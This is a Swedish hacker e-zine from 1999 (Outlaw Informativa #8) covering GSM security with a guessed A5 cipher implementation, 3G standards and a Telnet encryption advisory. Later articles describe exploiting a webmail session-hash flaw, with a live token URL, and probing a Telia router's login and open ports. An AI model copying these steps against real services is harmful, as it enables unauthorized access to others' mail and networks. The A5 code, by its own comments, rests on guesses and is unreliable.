Outlaw Informativa (1999) outlaw_08.txt

Öppna i terminalen

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


     Heretics Inc. presenterar....






                              [ Outlaw Informativa ]

                                 issue 8, 99-10-09

                               ___________________

                                 O U T L A W  8

                                 Oktober 9, 1999
                               ___________________

                          - A Heretics Inc. Production -



             "Det är den som går vilse som finner de nya vägarna" 
                 - Niels Kjear 


 Var hälsad till nummer 8 av Outlaw Informativa. Detta nummer kommer förhoppn-
 ingsvis att innehålla nyttig och intressant information. Som ni kommer  märkt
 så har Outlaw Informativa bytt från seriös stil till  oseriös, jag  har  fått
 många olika åsikter kring detta fenomen. En del tycker att  det  är  kul  med
 lite humor där emellan vissa tycker raka motsatsen. Jag vet inte  än  hur jag
 ska lösa detta, men för att hjälpa oss kan du enkelt skicka  ett  email  till 
 keytrace@usa.net och säga  vad  du tycker. Jag  har  gått  i  funderingar  på  
 att  göra Outlaw Informativa till ett mer seriöst zine vilket ödet  avgör att  
 Carding och Anarchy delarna tas bort, vad ni tycker  om  det  kan  ni genaste 
 skicka  ett mail till mig. För övrigt  kommer  detta  nummer  innehålla  lite 
 blandat information kring Telefon system, Säkerhet  och även lite funderingar  
 och  enkla undersöknaringar av olika system som ofta följer med en massa frå-
 getecken som är meningen att ni ska maila in till keytrace@usa.net och  svara 
 på.
 
 -----------------------------------------------------------------------------
                                  Disclaimer
 -----------------------------------------------------------------------------
 Andvänder du materialet i detta elektroniska tidning  i  olagligt  syfte  och
 åker fast för det så får du stå för det. Du tar själv ansvar  för  dina  egna
 handlingar.


 -----------------------------------------------------------------------------
                                    Medverkande
 -----------------------------------------------------------------------------
 En enkel lista med folk  som  skrivit för detta nummer och hur du kan komma i
 kontakt med personen.


 Alias: diox1de                    Contact: keytrace@usa.net
        ¯¯¯¯¯¯¯                             ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
 Alias: ncode                      Contact: root@sectech.org
        ¯¯¯¯¯                               ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
 Alias: p01nt_zer0                 Contact: po1nt_zero@hotmail.com
        ¯¯¯¯¯¯¯¯¯¯                          ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯            



 -----------------------------------------------------------------------------



                 I N N E H Å L L S F Ö T E C K N I N G



         $ Staff          
 
           1:1. Editor                                
           1:2. Disclaimer                          
           1:3. Medverkande                         
           1:4. Innehållsförteckning
           1:5. Aktuellt
           1.6. Heretics Manifesto


         $ Nyheter

           2.1. Microsoft kritiserar Linux
           2.2. Sun släpper källkoden för Solaris fri


         $ Phreaking och Telefoni
  
           3:1. Säkerhet i GSM systemet, del #3           av: diox1de
           3:2. IMT-2000/FPLMTS                           av: p01nt_zer0
           3:3. UMTS                                      av: p01nt_zer0


         $ Hacking, Säkerhet, Unix etc.

           4:1. Paket kryptering i Telnet                 av: diox1de
           4:2. Möjlig bakdörr i marijuana.com            av: diox1de
           4:3. Funderingar kring Telia                   av: diox1de
           4:4. Skapa ett SUID Shell                      av: ncode
           4:5. Enkelt om 2 olika Trojaner                av: diox1de
           4:6. Brev angående telias rätt om språrning    av: anonymous
           4:7. Linux för dumma, del #1                   av: diox1de
           

         $ Insändare
 
           5:1. Netscape 4.05 (Messenger) kryptering     


         $ Några ord innan slutet

           6:1 . Copyright
           6:2 . return 0;




   När du befinner dig på öppet territorium, stör ingen. Om någon stör dig, 
   be honom sluta. Slutar han inte, gör slut på honom.





 -----------------------------------------------------------------------------
                                  Aktuellt
 -----------------------------------------------------------------------------

  ¤ Heretics hemsida flyttad

 Heretics Inc. 's hemsida flyttades från kontot till www.g1mp.net/heretics, 
 och det har jag ncode att tacka för, tack


  ¤ Prenumerations listan läggs ner !

 Prenumerations listan läggs ner, eftersom alla prenumerationer försvann i  en
 hårdisk krash, och när jag checkade min mail dit alla prenumerationer skickas 
 så låg där 200 stycken, jag har  inte  andvändt  mig  av  något  program  som
 hanterar prenumerationen.


  ¤ p01nt_zer0 skriver lite texter, kommer eventuellt joina

 p01nt_zer0 har mycket kunskap kring Phreaking/Telefoni och han kommer möjlig-
 tvis joina Heretics, än så länge verkar det som han lyckats, eftersom inform-
 ationen som kommer bla. i detta nummer inte finns i något annat  zine..alltså
 inte så välskrivet om :)


  ¤ Kunskapsplan resulterar i texter och artiklar  

 Jag diox1de har lagt upp något som jag kallar för  en  kunskapslan. Jag  har
 lagt upp typ ett schema vad jag ska läsa och praktisera om, nu håller jag på
 att studera Unix nästa  kommer  bli  Windows NT, sen  C  programmering  osv.
 Detta kommer resultera att jag skriver textfiler/artiklar, men dessa  kommer
 bara vara skrivna för min egen skull, för att jag ska lära mig bättre.


 ¤ Kommande Projekt

   En tutorial om Kryptering

 Kryptering är ett hett  ämne  just  nu, pågrund  av  att  mycket  har börjat
 skötas via Internet, typ internet handel  och  dyl. Detta  är  så  pass nytt
 så säkerheten ligger bakom frågetecknet. Därför hade  jag  tänkt  att skriva
 en tutorial om Kryptering som  programmerare, systemansvariga  och säkerhets
 intresserade kommer ha nytta av.Jag kommer skriva om hur kryptering fungerar
 vid kommunikation över känsliga  kanalen, hur  assymetriska  och symmetriska
 chiffer fungerar,lite enkelt om historia och angrepp mot de olika teknikerna
 vid kryptering.

 För att texten jag har börjat på  ska  hålla  hög  klass  och  nnehålla rätt
 information så behöver jag åsikter, tips osv. om texten, visserligen har jag
 inte kommit speciellt långt på den, ligger på ca. 30k  just  nu. Men  du som
 vet att du är hyffsat seriös och kan en del kring kryptering och har möjlig-
 heter  att hjälpa till så maila diox1de@hacksweden.com.


  Praktik och Teori svävande kring PPP och Modem

 Detta är ett eventuellt projekt som jag kanske ska börja  med. Jag  har läst
 Rasslade lite i mitt text arkiv och hittade ett par textfiler om PPP protok-
 ollet och om Modem kommunikation,j ag läste igenom information och blev dir-
 ekt intresserad. Så nu  håller  jag  på  med  en  tutorial  som  jag  kommer  
 kalla: Praktik och Teori svävande kring PPP och Modem. Den kommer  innehålla 
 information  hur  Modem  fungerar, hur  du  kodar  fjärranslutnings  script, 
 Teoretisk förklaring av PPP protokollet  samt  hur  du  sätter  upp  en  PPP  
 anslutning i Linux. Om du vill hjälpa till och ge tips, förslag eller skicka  
 information svävande kring ämnet jag kommer skriva om så står min mail addr-
 ess nedan.

  - diox1de@hacksweden.com


  NTFS whitepaper

 Detta är ett eventuellt projekt som jag kanske ska börja  med. Jag  har läst
 lite smått om NTFS (Network File System) och  blivit  mycket intresserad. Om
 du vill att det ska bli nåt så skicka så mycket information  om  NTFS du kan
 till diox1de@hacksweden.com. Först och främst ska jag ägna mig åt  texten om 
 kryptering och Outlaw Informativa. Men när texten om  kryptering  börjar  ta 
 sig i form och bli klar så kommer jag antagligen börja ordenkligt med texten  
 om NTFS. Det är bara en  tidfråga  tills  det  ligger NTFS whitepaper ligger  
 på Heretics projekt arkiv.


 -----------------------------------------------------------------------------
                              Heretics Manifesto  
 -----------------------------------------------------------------------------
 Vi förstår att du vill lära dig, men för att lära dig behöver du  styrka  som
 kommer följa dig tills du når dina mål. Styrkan kommer hjälpa dig att förstå,
 att hantera fel. Under tiden du lär dig måste du hela tiden  hålla  tanken  i
 bakhuvudet; överskatta dig inte själv, var självsäker men dölj det för andra.
 Om det är någon som ber om hjälp, bli då uppmärksamm och  försök  att  hjälpa
 personen så mycket du kan. Akta dig noga för den mörka sidan byggt på elitis-
 m, känner du stor ondska över en person försök hålla kommentarerna  till  dig
 själv och bevara dom där eller argumentera på ett bra sätt med personen.

  The Dark Side is closer than you think.


 -----------------------------------------------------------------------------
                           Microsoft kritiserar Linux  
 -----------------------------------------------------------------------------
 Som ni kanske vet så är det många som byter  från  Microsofts  operativsystem
 till Linux, det har även själv  gjort. Detta  leder  ju  också  till  att  MS
 förlorar en jävla massa pengar. Microsoft är/har blivit oroliga och osäkra.
 
 På en websida, närmare bestämt:

 http://www.microsoft.com/ntserver/nts/news/msnw/LinuxMyths.asp

 MS påstår att att Linux är ett ostabilt osäkert system  jämnfört  med  WinNT.
 Jag har själv studerat en del hål i Linux och i NT och gämnfört dem, resulta-
 tet är ju då att Windows NT är så grymt mycket ostabilare än vad Linux är. MS
 tar till alla medel för att skrämma Linux andvändarna och sno  tillbaka  sina
 kunder. Seriöst så tror jag att dom inte har lyckats något vidare.


 Källa: http://linux.idg.se


 -----------------------------------------------------------------------------
                       Sun släpper källkoden för Solaris fri  
 -----------------------------------------------------------------------------
 Sun Microsystems släpper källkoden för sitt os Solaris helt fri. Villkoret är
 dock att programmerarna inte får utveckla sina egna lösningar.

 Dom släppte den fri för att bla. administratörer ska kunna bygga ett  kluster 
 eller sätta upp en webbserver, då väljer dom istället Linux framför Solaris.

 Det kommer även bli  stor  konkuranns  när  Microsoft  släpper  sitt  nya  os
 Windows 2000.
 

 -----------------------------------------------------------------------------
                        Säkerhet i GSM systemet, del #3
 -----------------------------------------------------------------------------

  [Förord]

 Ännu en del om GSM Säkerhet, ligger nu uppe i #3 delen  och  kommer  bli  den
 sista, men jag kommer dock förlänga den här artikeln lite. Den kommer  alltså
 bli en aning större en de andra delarna.

  [Översikt]

 För er som inte läst alla #3 serierna om GSM Säkerhet så tänkte jag gå igenom
 vad alla handlar om.
 
 .---------------------------------------------------------------------------.
 |DEL #1: Handlar om hur Subscriber Identity  Authentication  fungerar  och  | 
 |        lite annat smått och gott som dyker upp där emellan.               |
 |                                                                           |
 |DEL #2: Handlar om Krypterings-algoritmen A5, hur den fungerar teoretiskt  | 
 |        sätt.                                                              |
 |                                                                           |
 |DEL #3: Handlar om hur "User and Signalling Data Confidentiality" fungerar |
 |        och lite om A5 igen som andvänds i det ovan + Subscriber Identity  |
 |        Confidentiality .                                                  |
 `---------------------------------------------------------------------------´


      [User and Signalling Data Confidentiality]

 User and Signalling Data Confidentiality har tre element att ta hand  om  och
 dessa är:

  ¤ user data confidentiality
  ¤ signalling information on physical connections
  ¤ connectionless user data confidentiality and signalling  information 
    element confidentiality.


  --> "user data confidentiality"

  Tar  hand  om privacy för andvändaren som genererat all  data, både  röster 
  och data som kommer från mobilen. Alltså som skickas över radio och  trafik 
  kanalerna.


  --> "signalling information" som seglar runt på fysiska anslutningar 
   
  Signal Informationen (Signalling Information) har  också  med  privacy  att 
  göra. Tar hand om andvändar information som  skickas i  form av  ett  paket
  av   information  som  går   via  radio  länken  på  signal  kanalen. Detta
  transporteras hit  och dit på de fysiska anslutningarna (physical connecti-
  ons)


  --> "connectionless user data confidentiality" och "signalling  information 
       element confidentiality".

  Det tredje elementet förser för  enskildheter av en "certain user"  som  är
  besläktad med andra signal  element som går  via  radio  länken  på  signal 
  kanalen.
  
 
 För att det ska bli säkert i överföring av alla  de  tre  elmenten  så behövs
 självklart kryptering, här andvänds A5 som är beskriven i del #2. För att det
 ska funka att andvända A5 algoritm så måste alla nätverk och mobiler ha  stöd
 för det, annars  blir det en hel  del  problem. Jag  tänke  beskriva algoritm
 A5 lite enkelt för att uppdaterera era kunskaper, men främst mina.

 A5 är en algortim för att kryptera  trafik. Först  skapar  den  en  keystream 
 under kontroll av en en nyckel. Bit för Bit av keystreamen transporteras över  
 Radio Länken mellan Basstationen och MS:en. Nyckeln blir etablerad  på  MS:en 
 som en liten del av authenication proceduren. Informationen blir  dekrypterad  
 efter MS:en har blivit identifierad. Mer orkar jag inte  berätta  pågrund  av 
 bakfylla, trötthet osv. Men A5 är ju förklarad i #7:an så ni kan ju läsa  där 
 också.

  Note: MS = Mobile Subscriber, mobiltelefon med andra ord.


      [Subscriber Identity Confidentiality]

 Är en slags funktion eller applikation som gör det möjligt för en  andvändare
 att uppdatera sin "location etc." utan att avslöja sitt "International Mobile 
 Subscriber  Identity (IMSI) för  någon  som gör ett försök till  ett  angrepp  
 på radio länken. Med andra ord hindrar den alltså att  någon  sniffar  signal
 växlingen på radio länken för att söka upp en bestämd mobitelefonens befintl-
 iga "location". Alla mobil nät och mobiltelefoner måste i regel kunna  stödja 
 denna tjänst, det är iofs inte helt obligatoriskt.

 Det är absolut nödvändigt att IMSI inte skickas i cleartext på Radio  länken,
 visserligen finns det fall där det inte gör det och då dyker många  effektiva
 angrepp upp som kan göra att en person kan s niffa  Radio  länken. Mekanism i
 mobilen ska vara försedd med denna funktion och den ska även vara baserad  på
 temporary mobile subscriber identity (TMSI) som oskyldigt men  mycket  säkert
 uppdateras efter varje lyckad  tillgång (Successful Access :P) till systemet.
 I princip så behöver inte TMSI vara krypterad när den överförs på Radio Länk-
 en. Som nämnt tidigare  så  behöver  däremot  IMSI  vara  krypterad  eftersom 
 effektiva angrepp kan uppstå.
 
 Hur fungerar det då?...Jo, detta förutsätter att MS är tilldelat med en TMSI,
 betecknas betäcknas som TMSIo, och att nätverket har  etablerat  en  förening 
 mellan TMSIo och en sk. "Mobile Subscriber" alltså typ en abbonent eller helt 
 enkelt en mobiltelefon. MS identifierar  sig  med  Nätverket (authenticerar). 
 Direkt efter authenticationen är genomförd (om den nu blir det :-/) Nätverket
 generar ett nytt TMSI, betäcknas då som TMSIn, och skickar sedan det till  MS
 och skickas då i krypterad  form (Krypterat  med  nyckeln Kc) MS  dekrypterar 
 och ersätter TMSIo med TMSIn.


      [Ett exempel på A5]

 Här kommer källkoden för ett exempel av A5 algoritmen. Du kan försöka  hitta 
 på något kul med den eller nåt.


/*
 * In writing this program, I've had to guess a few pices of information:
 *
 * 1. Which bits of the key are loaded into which bits of the shift register
 * 2. Which order the frame sequence number is shifted into the SR (MSB
 *    first or LSB first)
 * 3. The position of the feedback taps on R2 and R3 (R1 is known).
 * 4. The position of the clock control taps. These are on the
 *    `middle' one, 
 *    I've assumed to be 9 on R1, 11 on R2, 11 on R3.
 */

/*
 * Look at the `middle' stage of each of the 3 shift registers.
 * Either 0, 1, 2 or 3 of these 3 taps will be set high.
 * If 0 or 1 or one of them are high, return true. This will cause each of
 * the middle taps to be inverted before being used as a clock control. In
 * all cases either 2 or 3 of the clock enable lines will be active. Thus,
 * at least two shift registers change on every clock-tick and the system
 * never becomes stuck.
 */

static int threshold(r1, r2, r3)
unsigned int r1;
unsigned int r2;
unsigned int r3;
{
int total;

  total = (((r1 >>  9) & 0x1) == 1) +
          (((r2 >> 11) & 0x1) == 1) +
          (((r3 >> 11) & 0x1) == 1);

  if (total > 1)
    return (0);
  else
    return (1);
}

unsigned long clock_r1(ctl, r1)
int ctl;
unsigned long r1;
{
unsigned long feedback;

 /*
  * Primitive polynomial x**19 + x**5 + x**2 + x + 1
  */

  ctl ^= ((r1 >> 9) & 0x1);
  if (ctl)
  {
    feedback = (r1 >> 18) ^ (r1 >> 17) ^ (r1 >> 16) ^ (r1 >> 13);
    r1 = (r1 << 1) & 0x7ffff;
    if (feedback & 0x01)
      r1 ^= 0x01;
  }
  return (r1);
}

unsigned long clock_r2(ctl, r2)
int ctl;
unsigned long r2;
{
unsigned long feedback;

  
 /*
  * Primitive polynomial x**22 + x**9 + x**5 + x + 1
  */   

  ctl ^= ((r2 >> 11) & 0x1);
  if (ctl)
  {
    feedback = (r2 >> 21) ^ (r2 >> 20) ^ (r2 >> 16) ^ (r2 >> 12);
    r2 = (r2 << 1) & 0x3fffff;
    if (feedback & 0x01)
      r2 ^= 0x01;
  }
  return (r2);
}

unsigned long clock_r3(ctl, r3)
int ctl;
unsigned long r3;
{
unsigned long feedback;

 /*
  * Primitive polynomial x**23 + x**5 + x**4 + x + 1
  */

  ctl ^= ((r3 >> 11) & 0x1);
  if (ctl)
  {
    feedback = (r3 >> 22) ^ (r3 >> 21) ^ (r3 >> 18) ^ (r3 >> 17);
    r3 = (r3 << 1) & 0x7fffff;
    if (feedback & 0x01)
      r3 ^= 0x01;
  }
  return (r3);
}

int keystream(key, frame, alice, bob)
unsigned char *key;   /* 64 bit session key              */
unsigned long frame;  /* 22 bit frame sequence number    */
unsigned char *alice; /* 114 bit Alice to Bob key stream */
unsigned char *bob;   /* 114 bit Bob to Alice key stream */
{
unsigned long r1;   /* 19 bit shift register */
unsigned long r2;   /* 22 bit shift register */
unsigned long r3;   /* 23 bit shift register */
int i;              /* counter for loops     */
int clock_ctl;      /* xored with clock enable on each shift register */
unsigned char *ptr; /* current position in keystream */
unsigned char byte; /* byte of keystream being assembled */
unsigned int bits;  /* number of bits of keystream in byte */
unsigned int bit;   /* bit output from keystream generator */

  /* Initialise shift registers from session key */

  r1 = (key[0] | (key[1] << 8) | (key[2] << 16) ) & 0x7ffff;
  r2 = ((key[2] >> 3) | (key[3] << 5) | (key[4] << 13) | 
       (key[5] << 21)) & 0x3fffff;
  r3 = ((key[5] >> 1) | (key[6] << 7) | (key[7] << 15) ) & 0x7fffff;


  /* Merge frame sequence number into shift register state, by xor'ing it
   * into the feedback path
   */

  for (i=0;i<22;i++)
  {
    clock_ctl = threshold(r1, r2, r2);
    r1 = clock_r1(clock_ctl, r1);
    r2 = clock_r2(clock_ctl, r2);
    r3 = clock_r3(clock_ctl, r3);
    if (frame & 1)
    {
      r1 ^= 1;
      r2 ^= 1;
      r3 ^= 1;
    }
    frame = frame >> 1;
  }

  /* Run shift registers for 100 clock ticks to allow frame number to
   * be diffused into all the bits of the shift registers
   */

  for (i=0;i<100;i++)
  {
    clock_ctl = threshold(r1, r2, r2);
    r1 = clock_r1(clock_ctl, r1);
    r2 = clock_r2(clock_ctl, r2);
    r3 = clock_r3(clock_ctl, r3);
  }

  /* Produce 114 bits of Alice->Bob key stream */

  ptr = alice;
  bits = 0;
  byte = 0;
  for (i=0;i<114;i++)
  {
    clock_ctl = threshold(r1, r2, r2);
    r1 = clock_r1(clock_ctl, r1);
    r2 = clock_r2(clock_ctl, r2);
    r3 = clock_r3(clock_ctl, r3);

    bit = ((r1 >> 18) ^ (r2 >> 21) ^ (r3 >> 22)) & 0x01;
    byte = (byte << 1) | bit;
    bits++;
    if (bits == 8)
    {
      *ptr = byte;
      ptr++;
      bits = 0;
      byte = 0;
    }
  }
  if (bits)
    *ptr = byte;

  /* Run shift registers for another 100 bits to hide relationship between
   * Alice->Bob key stream and Bob->Alice key stream.
   */

  for (i=0;i<100;i++)
  {
    clock_ctl = threshold(r1, r2, r2);
    r1 = clock_r1(clock_ctl, r1);
    r2 = clock_r2(clock_ctl, r2);
    r3 = clock_r3(clock_ctl, r3);
  }

  /* Produce 114 bits of Bob->Alice key stream */

  ptr = bob;
  bits = 0;
  byte = 0;
  for (i=0;i<114;i++)
  {
    clock_ctl = threshold(r1, r2, r2);
    r1 = clock_r1(clock_ctl, r1);
    r2 = clock_r2(clock_ctl, r2);
    r3 = clock_r3(clock_ctl, r3);

    bit = ((r1 >> 18) ^ (r2 >> 21) ^ (r3 >> 22)) & 0x01;
    byte = (byte << 1) | bit;
    bits++;
    if (bits == 8)
    {
      *ptr = byte;
      ptr++;
      bits = 0;
      byte = 0;
    }
  }
  if (bits)
    *ptr = byte;
 
  return (0);

}


      [Förkortningar, sammanfattning]

 LSFR : Linear Feedback Shift Register
 MS   : Mobile Subscriber dvs. Mobil Telefon
 TMSI : temporary mobile subscriber identity 
 IMSI : International Mobile Subscriber Identity
 AUC  : Authentication Center
 HLR  : Home Location Register
 VLR  : Visitor Location Register
  
        hehe, som sagt: Ingen publicerings kvalitet.



      [Källförteckning]

 Eftersom det här va sista delen så tänke jag skriva källförtecking, alltså
 var jag fått tag i all info.

 Overview of GSM Security Features (LoU)
 Att förstå Telekommunikaion (Telia & Ericsson)
 Usenet (sci.crypt)


      [Efterord]

 Nu va det slut på serien "Säkerhet i GSM systemet", om du  skulle  läsa  även
 dokumentationen som är tecknad i  avdelningen "Källförteckning" kan  du  lätt 
 uppleva som att jag återberättar och översätter informationen. Det är  delvis
 sant, att jag skrev denna serie med artiklar va för min egen  skull  eftersom 
 jag har studerat GSM Säkerhet ett tag, dock ingen direkt fördjupning i ämnet.
 Om ni tyckte att serierna var nyttiga och bra så är det ju  bara  ett  bonus.
 Jag vet att de inte höll någon publicerings  kvalitet. Men  jag  släppte  dem
 endå. Förövrigt har jag dragit slutsatsen om att GSM Nätet håller förhålland-
 evis mycket hög Säkerhet som inte direkt vem som helst skulle kunna göra  ett
 effektivt angrepp mot. Glöm inte bort att artiklarna är baserade på en studie
 i GSM Säkerhet.


 -----------------------------------------------------------------------------
                               IMT-2000/FPLMTS               
 -----------------------------------------------------------------------------
 FPLMTS - Future Public Land Mobile Telecommunication  System  har  bytt  namn
 till IMT-2000 - International Mobile Telecommunication  2000. Förutom  FPLMTS 
 ingår även GMPCS - Global Mobile Personal Communications.

 Utvecklingen av IMT-2000 drivs av ITU-R och målet är  kommunikation  när  och
 var som helst. Det är viktigt att det ska kunna utnyttjas  med  hjälp  av  en 
 liten kommunikationsenhet man lätt kan bära med sig, t.ex. en mobiltelefon.

 IMT-2000 omfattar  flera  olika  radiomiljöer, som  börjar  med  små  miljöer 
 inomhus, där man skall erbjuda hög  kapacitet, detta  fortsätter  vidare  via
 lokala och regionala miljöer till en  global  miljö  där  man  med  hjälp  av
 satelliter täcker in hela jorden.

 Man kommer alltså att använda  olika  tekniker  inom  områden, samtidigt  som
 dessa tekniker ska kunna samverka och bilda  en  enhet, jämför  med  GSM/DECT
 där det finns telefoner som kan arbeta inom båda miljöerna. 

 De frekvenser som ska  användas  har  angivits  till  1.885-2.225  och 1.980-
 2.200 MHz, varav 1.980-2.010 och 2.170-2.200 skall användas för satelitkommu-
 nikation. Frekvenserna har  angivits  av  WARC - World  Administrative  Radio 
 Conferance.

 IMT-2000/FPLMTS och UMTS är tredje  generationens  mobiltelefonisystem, andra
 generationens GSM, D-AMPS  och  PDC  är  det  vi  använder  idag  och  första
 generationen, som fortfarande är i bruk NMT, AMPS och TACS. Ett av de viktig-
 aste målen för IMT-2000 är att  utforma  en  global  standard, så  att  samma 
 system kan användas över hela världen. 

 Följande standarder har utformats av ITU-R för att beskriva IMT-2000:

 Standard:       Innehåll:

 M.816           Framework for services supported by FPLMTS.
 M.817           Network architectures for FPLMTS.
 M.818           Satellite operation whitin FPLMTS.
 M.819           Adaption of FPLMTS to the needs of developing countries.
 M.1034          Requirements for the radio interface(s) for FPLMTS.
 M.1035          Framework for the radio interface(s) and radio subsystem
                 functionality for FPLMTS.
 M.1036          Spectrum consideations for implementation of FPLMTS in the
                 bands 1885-2025 MHz and 2110 MHz.
 M.1078          Security principles for FPLMTS.
 M.1079          Spech and voiceband data performance requirements for FPLMTS.

         (Tabellen är inte översatt pågrund av att det är lättare att förstå
          vad som menas om det är på engelska om det skulle dyka upp i andra
          texter när du studerar)


 IMT-2000/FPLMTS kommer att erbjuda ett brett utbud av tjänster, baserat på de    
 tjänster såväl fasta som mobila telenät kan erbjuda.
 Tjänsterna omfattar  personsökning, digitala  datatjänster  och  audio/video.
 Tjänster som kräver hög bandbredd/kapacitet kommer i första hand att erbjudas
 i tätbefolkade områden.
 Oavsett var i världen man befinner sig, kommer man minst att ha tillgång till
 ett grundutbud av tjänster.
 


        Knowledge is a treashre but...
                                        practice is the main key to to it.


 -----------------------------------------------------------------------------
                                     UMTS
 -----------------------------------------------------------------------------
 UMTS är ett europiskt initiativ som drivs av ETSI, för att skapa en  gemensam
 internationell standard för alla former av  mobiltelekommunication, inklusive
 mobiltelefoni.
 UMTS är en europisk variant an IMT-2000 - International Mobile Tele-
 communication 2000 som drivs av ITU. (jag gått igenom det i en tidigare text)

 De generella målen för UMTS är:

 Kapacitet:

     Att kunna erbjuda upp till 2 Mbps kapacitet för olika tjänster, med
     reservation för de fysiska förutsättningarna som den aktuella
     förbindelsen erbjuder.

 Kvalitet:

     Erbjuda en kvalitet på kommunikation som lägst uppfyller de krav som
     gäller för fasta förbindelser.

 Funktioner, tjänster:

     Kunna tillhandahålla ett brett spektra av tjänster anpassade för olika
     användare.

     Stöda UPT (Universal Personal Telecommunications).

     Att stöda "wideband" intergration med B-ISDN via ATM.

     Det ska vara dynamiskt så att det är lätt att lägga till nya tjänster
     och funktioner.
 
     Det ska kunna allokera bandbredd dynamiskt och vid behov (on demand).

     Kompatibilitet, standarder:

     Det ska stämma överäns med ITUs IMT-2000 rekommendationer.

     Det ska kunna anpassas för alla tjänster och all utrustning som i fram-
     tiden kommer att kunna användas i fasta nät.
 
     Det ska finnas stöd för både öppna och slutna standarder.

     Kompatibilitet för intelligenta tjänster i både fasta och mobila nätverk.

     Kunna förena de många mobiltelefonisystem som finns idag, samtidigt som
     valfrihet ska kunna erbjudas.

     Det ska kunna fungera internationellt (iaf i Europa), inom olika typer
     av miljöer och terräng.
 
     Det ska kunna stöda avreglering och konlurrens inom alla typer av miljöer
     och applikationer.

     Dela resurserna i radiobandet mellan olika operatörer, både publika och
     privata.
     Dela resurserna i radiobandet mellan ett standardiserat grundutbud av
     tjänster och ett mer dynmiskt utbud som baseras på marknadens behov.
 
 Det är alltså ganska många krav som skall  uppfyllas, men  vissa  av  dem  är 
 redan lösta, t.ex. med hjälp av GSM.


 Nätverk och radiolänk

 UMTS utformas  för  att  använda  Intelligenta  Nätverk (IN) och  erbjuda  de 
 tjänster som då blir möjliga, de komponenter som kommer  att  ingå  är  t.ex. 
 SCPer. Detta gör att man lätt kan åstakomma  användaranpassade  tjänster  och 
 att man kan ändra tjänsterna i grundutbudet. 

 UMTS ska ingå i IBCN - Intergrated Broadband Communications  Network  som  en 
 enhet för mobil access mot B-ISDN. Detta innebär att mobila  nät  kommer  att 
 kunna erbjuda tjänster som tidigare endast fasta nät kunnat erbjuda.



        Knowledge is a treashre but...
                                        practice is the main key to to it.

         
 -----------------------------------------------------------------------------
                            Paket kryptering i Telnet
 -----------------------------------------------------------------------------
 Jag tänkte ta upp ett hål i Berkelys Telnet klienter som stödjer "Telnet enc-
 ryption Option" som andvänder Kerberos V4 authentication.

 [ok, till själva problemet]

 Vem som helst kan få tillgång till de krypterade paketen och enkelt dekrypte-
 ra. Man kan enkelt sniffa paketen för att få tag i dem.
 
 [Lösning]

 Den vanliga lösningen är att ladda ner uppgraderingar, som jag listar nedan..

 Source code för en patch: net-dist.mit.edu:/pub/telnet/telnet.patch

 Uppgraderingar: 

 ftp.ncsa.uiuc.edu/Mac/Telnet/Telnet2.6/prerelease/d7/Telnet2.6.1d7(68K).sit.hqx
                  /Mac/Telnet/Telnet2.6/prerelease/d7/Telnet2.6.1d7(fat).sit.hqx


 Plugins för Kerberos:

 ftp.ncsa.uiuc.edu/Mac/Telnet/Telnet2.6/prerelease/AuthMan.plugin.1.0b1.hqx
                  /Mac/Telnet/Telnet2.6/prerelease/Kerberos_Telnet_plugin.sit.hqx



 Källa: CERT


 -----------------------------------------------------------------------------
                         Möjlig bakdörr i marijuana.com
 -----------------------------------------------------------------------------
 Jag är lite osäker på detta men jag förklarar det jag upptäckte så skickar ni
 information som jag inte vet till mig på keytrace@usa.net

 http://mail.marijuana.com/mail/check_mail/user/c8116dca1e48dd76379f7582197293fa

 c8116dca1e48dd76379f7582197293fa 

 Summan är samma varje gång någon loggar
 in varje andvändare har sin egen  summa
 vilket tyder på att det är ett krypter-
 at lösenord.

 Om jag nu loggar in på min egna inbox på  marijuana.com  och  kopierar url:en
 till inboxen så kan denna person läsa alla min brev jag fått  plus  kolla  på
 filer som folk skickat till mig.

 Det jag testade var att ge url:en till en polare på IRC och bad  honom  kolla
 om han fick någon access till dem.

 http://mail.marijuana.com/mail/check_mail/user/c8116dca1e48dd76379f7582197293fa
  Är url:en till inboxen.

 http://mail.marijuana.com/mail/attachment/user/c8116dca1e48dd76379f7582197293fa/pic.jpg?msg=6&part=8
   Är url:en till en fil.

 Detta funkade när jag va inloggad trycker jag på logout button i deras script
 baserade webmail så har ingen access till url:en längre. Men om  jag istället
 skiter i att trycka på logout, så  har  alla  access  till  min  inbox, detta
 bygger iofs på att den som vill rota i någons privata liv  måste  ha tillgång
 till url:en. Det jag inte vet och det jag vill veta från er är om denna summa
 eller teckensamling:

 c8116dca1e48dd76379f7582197293fa

 Är det ett krypterat lösenord eller  en  checksum  eller  liknande för  deras 
 cgi/perl  script. Om  det  är  ett  krypterat  lösenord  i sånna fall, vilken
 algoritm andvänder dom ? .. Hur tar jag reda på det ?

 Jag skickade ett email och frågade lite diskret hur hög säkerhet jag har och 
 vad för algortim dom andvänder, dom svarade:

 
   We never give out our encryption methods, but I can assure you that we are 
   among the safest in the industry.   
              
   wm 
   m.com 
              
              
   On 12 Sep 1999, anon wrote: 
            
   > Date: 12 Sep 1999 05:35:36 -0700 
   > From: anon <xxxx> 
   > To: xxxx@marijuana.com 
   > Subject: how high is my security ? 
   >  
   > Hi! 
   > I´m sending you this e-mail because i want to know how high security i have because 
   > i dont want anything bad to happen to me or my e-mail. So i wounder 
   > what algorithm you use to encrypt my e-mails and if you are using a commercial, 
   > in that case, wich one? and if you are using your own, how safe is it for me to use? 
   >  
   > thanks. 
   >   
   > // X

 Så på något sätt måste jag få reda på vad dessa siffror och bokstäver i
 url:en till inboxen är, det är det jag behöver veta för att gå vidare.


 -----------------------------------------------------------------------------
                           Funderingar kring Telia
 -----------------------------------------------------------------------------
 Detta är också lite frågor som jag vill få reda på i  denna  artikel, som  ni
 självklart måste svara på om ni kan dom :)

 Jag testade att göra en traceroute på mig själv av ren tråkighet och  en  av
 de maskinerna som paketen som kommer från min dator som paserar maskinen va:

 ny-b1-pos5-0-0.telia.net (209.95.159.22)

 Jag testade att telnetta til maskinen [209.95.159.22] och fick  då  en  login
 prompt, som såg ut så här:
 
 -------------------------
 User Access Verification

 Username:
 -------------------------

 En sak jag  klurar  över  är  om  hosten [ny-b1-pos5-0-0.telia.net] har några
 synonymer som betyder någon som kan ge mig information vad  maskinen andvänds
 till, om det är en router/firewall/proxy eller liknande.

 De portar på maskinen som va öppnade:

 79   Finger
 23   Telnet
 
 De som var filtrerade, alltså de som är bevakade av än Firewall är:

